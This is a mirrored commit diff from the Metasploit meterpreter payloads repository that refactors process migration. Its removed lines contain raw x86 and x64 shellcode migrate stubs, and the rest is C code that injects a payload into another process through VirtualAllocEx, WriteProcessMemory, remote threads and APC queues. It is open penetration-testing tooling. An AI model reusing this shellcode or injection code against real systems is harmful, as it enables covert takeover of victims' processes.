1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-04-12 04:12:05 +02:00

Move migration stub code to MSF

This commit changes the code so that the migration stubs are generated
in MSF and are transport specific (so that we only do the work we need
to).
This commit is contained in:
OJ 2016-12-08 16:00:04 +10:00
parent a39757a912
commit ff56b36a98
No known key found for this signature in database
GPG Key ID: D5DC61FB93260597
5 changed files with 109 additions and 96 deletions
c/meterpreter/source

@ -2,63 +2,19 @@
#include "base_inject.h" #include "base_inject.h"
#include "../../../config.h" #include "../../../config.h"
// see 'external/source/shellcode/windows/x86/src/migrate/migrate.asm' DWORD get_migrate_context(LPDWORD contextSize, LPCOMMONMIGRATECONTEXT* contextBuffer)
BYTE migrate_stub_x86[] = "\xFC\x8B\x74\x24\x04\x81\xEC\x00\x20\x00\x00\xE8\x89\x00\x00\x00"
"\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B"
"\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C"
"\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C"
"\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B"
"\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0"
"\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24"
"\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01"
"\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51"
"\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00"
"\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x8D\x5E"
"\x10\x53\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\xFF"
"\x36\x68\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08";
// see 'external/source/shellcode/windows/x64/src/migrate/migrate.asm'
BYTE migrate_stub_x64[] = "\xFC\x48\x89\xCE\x48\x81\xEC\x00\x20\x00\x00\x48\x83\xE4\xF0\xE8"
"\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48"
"\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48"
"\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C"
"\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52"
"\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B"
"\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48"
"\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34"
"\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41"
"\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8"
"\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40"
"\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E"
"\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0"
"\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x49\xBE\x77"
"\x73\x32\x5F\x33\x32\x00\x00\x41\x56\x48\x89\xE1\x48\x81\xEC\xA0"
"\x01\x00\x00\x49\x89\xE5\x48\x83\xEC\x28\x41\xBA\x4C\x77\x26\x07"
"\xFF\xD5\x4C\x89\xEA\x6A\x02\x59\x41\xBA\x29\x80\x6B\x00\xFF\xD5"
"\x4D\x31\xC0\x41\x50\x41\x50\x4C\x8D\x4E\x10\x6A\x01\x5A\x6A\x02"
"\x59\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x48\x8B\x0E\x41"
"\xBA\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08";
// We force 64bit algnment for HANDLES and POINTERS in order
// to be cross compatable between x86 and x64 migration.
typedef struct _MIGRATECONTEXT
{ {
union *contextBuffer = (LPCOMMONMIGRATECONTEXT)calloc(1, sizeof(COMMONMIGRATCONTEXT));
if (*contextBuffer == NULL)
{ {
HANDLE hEvent; return ERROR_OUTOFMEMORY;
BYTE bPadding1[8]; }
} e;
union *contextSize = sizeof(COMMONMIGRATCONTEXT);
{
LPBYTE lpPayload;
BYTE bPadding2[8];
} p;
WSAPROTOCOL_INFO info; return ERROR_SUCCESS;
}
} MIGRATECONTEXT, * LPMIGRATECONTEXT;
DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer) DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer)
{ {
@ -527,7 +483,8 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
LPVOID lpMigrateStub = NULL; LPVOID lpMigrateStub = NULL;
LPBYTE lpMemory = NULL; LPBYTE lpMemory = NULL;
LPBYTE lpUuid = NULL; LPBYTE lpUuid = NULL;
MIGRATECONTEXT ctx = { 0 }; LPCOMMONMIGRATECONTEXT ctx = NULL;
DWORD ctxSize = 0;
DWORD dwMigrateStubLength = 0; DWORD dwMigrateStubLength = 0;
DWORD dwPayloadLength = 0; DWORD dwPayloadLength = 0;
DWORD dwProcessID = 0; DWORD dwProcessID = 0;
@ -552,7 +509,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH); dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH);
// Get the length of the payload buffer // Get the length of the payload buffer
dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN); dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN);
// Receive the actual migration payload buffer // Receive the actual migration payload buffer
lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);
@ -560,6 +517,10 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
// Get handles to the updated UUIDs if they're there // Get handles to the updated UUIDs if they're there
lpUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID); lpUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID);
// Get the migrate stub information
dwMigrateStubLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_STUB_LEN);
lpMigrateStub = packet_get_tlv_value_raw(packet, TLV_TYPE_MIGRATE_STUB);
dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength); dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength);
// If we can, get SeDebugPrivilege... // If we can, get SeDebugPrivilege...
@ -593,13 +554,19 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
remote->config_create(remote, lpUuid, &config, &configSize); remote->config_create(remote, lpUuid, &config, &configSize);
dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config); dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config);
if (config->session.comms_fd) if (remote->transport->get_migrate_context != NULL)
{ {
// Duplicate the socket for the target process if we are SSL based dwResult = remote->transport->get_migrate_context(remote->transport, dwProcessID, hProcess, &ctxSize, (PBYTE*)&ctx);
if (WSADuplicateSocket(config->session.comms_fd, dwProcessID, &ctx.info) != NO_ERROR) }
{ else
BREAK_ON_WSAERROR("[MIGRATE] WSADuplicateSocket failed") {
} dwResult = get_migrate_context(&ctxSize, &ctx);
}
if (dwResult != ERROR_SUCCESS)
{
dprintf("[MIGRATE] Failed to create migrate context: %u", dwResult);
break;
} }
// Create a notification event that we'll use to know when it's safe to exit // Create a notification event that we'll use to know when it's safe to exit
@ -607,71 +574,57 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (!hEvent) if (!hEvent)
{ {
BREAK_ON_ERROR("[MIGRATE] CreateEvent failed") BREAK_ON_ERROR("[MIGRATE] CreateEvent failed");
} }
// Duplicate the event handle for the target process // Duplicate the event handle for the target process
if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx.e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx->e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
{ {
BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed") BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed");
} }
// Get the architecture specific process migration stub... dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent);
if (dwDestinationArch == PROCESS_ARCH_X86)
{
lpMigrateStub = (LPVOID)&migrate_stub_x86;
dwMigrateStubLength = sizeof(migrate_stub_x86);
}
else if (dwDestinationArch == PROCESS_ARCH_X64)
{
lpMigrateStub = (LPVOID)&migrate_stub_x64;
dwMigrateStubLength = sizeof(migrate_stub_x64);
}
else
{
SetLastError(ERROR_BAD_ENVIRONMENT);
dprintf("[MIGRATE] Invalid target architecture: %u", dwDestinationArch);
break;
}
// Allocate memory for the migrate stub, context, payload and configuration block // Allocate memory for the migrate stub, context, payload and configuration block
lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + sizeof(MIGRATECONTEXT) + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!lpMemory) if (!lpMemory)
{ {
BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed") BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed");
} }
// Calculate the address of the payload... // Calculate the address of the payload...
ctx.p.lpPayload = lpMemory + dwMigrateStubLength + sizeof(MIGRATECONTEXT); ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize;
// Write the migrate stub to memory... // Write the migrate stub to memory...
dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength); dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength);
if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL)) if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL))
{ {
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed") BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed");
} }
// Write the migrate context to memory... // Write the migrate context to memory...
dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, sizeof(MIGRATECONTEXT)); dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, ctxSize);
if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, &ctx, sizeof(MIGRATECONTEXT), NULL)) if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, ctx, ctxSize, NULL))
{ {
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed") BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed");
} }
// Write the migrate payload to memory... // Write the migrate payload to memory...
dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx.p.lpPayload, dwPayloadLength); dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx->p.lpPayload, dwPayloadLength);
if (!WriteProcessMemory(hProcess, ctx.p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL)) if (!WriteProcessMemory(hProcess, ctx->p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL))
{ {
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed") BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed");
} }
// finally write the configuration stub // finally write the configuration stub
dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx.p.lpPayload + dwPayloadLength, configSize); dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx->p.lpPayload + dwPayloadLength, configSize);
if (!WriteProcessMemory(hProcess, ctx.p.lpPayload + dwPayloadLength, config, configSize, NULL)) if (!WriteProcessMemory(hProcess, ctx->p.lpPayload + dwPayloadLength, config, configSize, NULL))
{ {
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed") BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed");
} }
free(ctx);
// First we try to migrate by directly creating a remote thread in the target process // First we try to migrate by directly creating a remote thread in the target process
if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
{ {
@ -680,7 +633,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
// If that fails we can try to migrate via a queued APC in the target process // If that fails we can try to migrate via a queued APC in the target process
if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
{ {
BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed") BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed");
} }
} }

@ -75,4 +75,21 @@ typedef struct _MetsrvConfig
// \x00 // \x00
} MetsrvConfig; } MetsrvConfig;
// We force 64bit alignment for HANDLES and POINTERS in order
// to be cross compatible between x86 and x64 migration.
typedef struct _COMMONMIGRATECONTEXT
{
union
{
HANDLE hEvent;
BYTE bPadding1[8];
} e;
union
{
LPBYTE lpPayload;
BYTE bPadding2[8];
} p;
} COMMONMIGRATCONTEXT, * LPCOMMONMIGRATECONTEXT;
#endif #endif

@ -136,13 +136,15 @@ typedef enum
TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///! Represents a path to the library to be loaded (string). TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///! Represents a path to the library to be loaded (string).
TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///! Represents a target path (string). TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///! Represents a target path (string).
TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///! Represents a process identifier of the migration target (unsigned integer). TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///! Represents a process identifier of the migration target (unsigned integer).
TLV_TYPE_MIGRATE_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer). TLV_TYPE_MIGRATE_PAYLOAD_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer).
TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///! Represents a migration payload (string). TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///! Represents a migration payload (string).
TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///! Represents a migration target architecture. TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///! Represents a migration target architecture.
TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///! Represents a migration technique (unsigned int). TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///! Represents a migration technique (unsigned int).
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///! Represents a migration payload base address (unsigned int). TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///! Represents a migration payload base address (unsigned int).
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///! Represents a migration payload entry point (unsigned int). TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///! Represents a migration payload entry point (unsigned int).
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///! Represents a unix domain socket path, used to migrate on linux (string) TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///! Represents a unix domain socket path, used to migrate on linux (string)
TLV_TYPE_MIGRATE_STUB_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 410), ///! Represents a migration stub length (uint).
TLV_TYPE_MIGRATE_STUB = TLV_VALUE(TLV_META_TYPE_STRING, 411), ///! Represents a migration stub (string).
// Transport switching // Transport switching
TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to. TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to.

@ -39,6 +39,7 @@ typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown);
typedef BOOL(*PTransportInit)(Transport* transport); typedef BOOL(*PTransportInit)(Transport* transport);
typedef BOOL(*PTransportDeinit)(Transport* transport); typedef BOOL(*PTransportDeinit)(Transport* transport);
typedef void(*PTransportDestroy)(Transport* transport); typedef void(*PTransportDestroy)(Transport* transport);
typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, PBYTE* contextBuffer);
typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size); typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size);
typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport); typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport);
typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size); typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size);
@ -242,6 +243,7 @@ typedef struct _Transport
PTransportDestroy transport_destroy; ///! Destroy the transport. PTransportDestroy transport_destroy; ///! Destroy the transport.
PServerDispatch server_dispatch; ///! Transport dispatch function. PServerDispatch server_dispatch; ///! Transport dispatch function.
PPacketTransmit packet_transmit; ///! Transmits a packet over the transport. PPacketTransmit packet_transmit; ///! Transmits a packet over the transport.
PTransportGetMigrateContext get_migrate_context; ///! Creates a migrate context that is transport-specific.
STRTYPE url; ///! Full URL describing the comms in use. STRTYPE url; ///! Full URL describing the comms in use.
VOID* ctx; ///! Pointer to the type-specific transport context; VOID* ctx; ///! Pointer to the type-specific transport context;
TimeoutSettings timeouts; ///! Container for the timeout settings. TimeoutSettings timeouts; ///! Container for the timeout settings.

@ -5,6 +5,13 @@
#include "../../common/common.h" #include "../../common/common.h"
#include <ws2tcpip.h> #include <ws2tcpip.h>
// TCP-transport specific migration stub.
typedef struct _TCPMIGRATECONTEXT
{
COMMONMIGRATCONTEXT common;
WSAPROTOCOL_INFOA info;
} TCPMIGRATECONTEXT, * LPTCPMIGRATECONTEXT;
// These fields aren't defined unless the SDK version is set to something old enough. // These fields aren't defined unless the SDK version is set to something old enough.
// So we define them here instead of dancing with SDK versions, allowing us to move on // So we define them here instead of dancing with SDK versions, allowing us to move on
// and still support older versions of Windows. // and still support older versions of Windows.
@ -1155,6 +1162,37 @@ void transport_write_tcp_config(Transport* transport, MetsrvTransportTcp* config
} }
} }
/*!
* @brief Create a migration context that is specific to this transport type.
* @param transport Transport data to create the configuration from.
* @param targetProcessId ID of the process that we will be migrating into.
* @param targetProcessHandle Handle to the target process.
* @param contextSize Buffer that will receive the size of the generated context.
* @param contextBufer Buffer that will receive the generated context.
* @return Indication of success or failure.
*/
static DWORD get_migrate_context_tcp(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, PBYTE* contextBuffer)
{
LPTCPMIGRATECONTEXT ctx = (LPTCPMIGRATECONTEXT)calloc(1, sizeof(TCPMIGRATECONTEXT));
if (ctx == NULL)
{
return ERROR_OUTOFMEMORY;
}
// Duplicate the socket for the target process if we are SSL based
if (WSADuplicateSocketA(((TcpTransportContext*)transport->ctx)->fd, targetProcessId, &ctx->info) != NO_ERROR)
{
free(ctx);
return WSAGetLastError();
}
*contextSize = sizeof(TCPMIGRATECONTEXT);
*contextBuffer = (PBYTE)ctx;
return ERROR_SUCCESS;
}
/*! /*!
* @brief Creates a new TCP transport instance. * @brief Creates a new TCP transport instance.
* @param config The TCP configuration block. * @param config The TCP configuration block.
@ -1184,6 +1222,7 @@ Transport* transport_create_tcp(MetsrvTransportTcp* config)
transport->get_socket = transport_get_socket_tcp; transport->get_socket = transport_get_socket_tcp;
transport->ctx = ctx; transport->ctx = ctx;
transport->comms_last_packet = current_unix_timestamp(); transport->comms_last_packet = current_unix_timestamp();
transport->get_migrate_context = get_migrate_context_tcp;
return transport; return transport;
} }